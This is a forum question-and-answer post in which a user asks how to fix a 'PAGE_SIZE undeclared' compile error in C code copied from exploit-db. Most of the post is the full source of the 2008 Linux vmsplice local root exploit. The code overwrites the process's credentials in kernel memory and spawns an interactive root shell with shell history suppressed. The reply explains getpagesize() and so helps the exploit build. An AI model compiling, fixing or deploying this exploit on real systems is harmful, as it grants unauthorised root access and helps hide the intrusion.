silverpenguin silverpenguin - 5 months ago 48
Linux Question

PAGE_SIZE undeclared C

I am having some issues compiling / fixing a script due to the fact I am not well versed in the C language.

I would appreciate some help fixing the issues!

I get the following errors:


error: ‘PAGE_SIZE’ undeclared (first use in this function)
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};



This error is because PAGE_SIZE is set within asm/page.h (as far as I am aware)

the code is below and from https://www.exploit-db.com/exploits/5092/

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
// #include <asm/page.h>
// ^^ this was originally causing me issues, due to the fact this is compiled
//within the kernel
#define __KERNEL__
#include <asm/page.h> //moving it here fixed location error, but now I get the new issue
#include <asm/unistd.h>

#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
die("!@#$", 0);

/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);

pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;

/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);

pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;

/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);

/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);

/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);

iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}

// milw0rm.com [2008-02-09]

Answer

PAGE_SIZE is only declared in the kernel headers. You can get the current page size from userland using getpagesize() from unistd.h though, e.g.

#include <unistd.h>
int main() {
    size_t psize = getpagesize();
}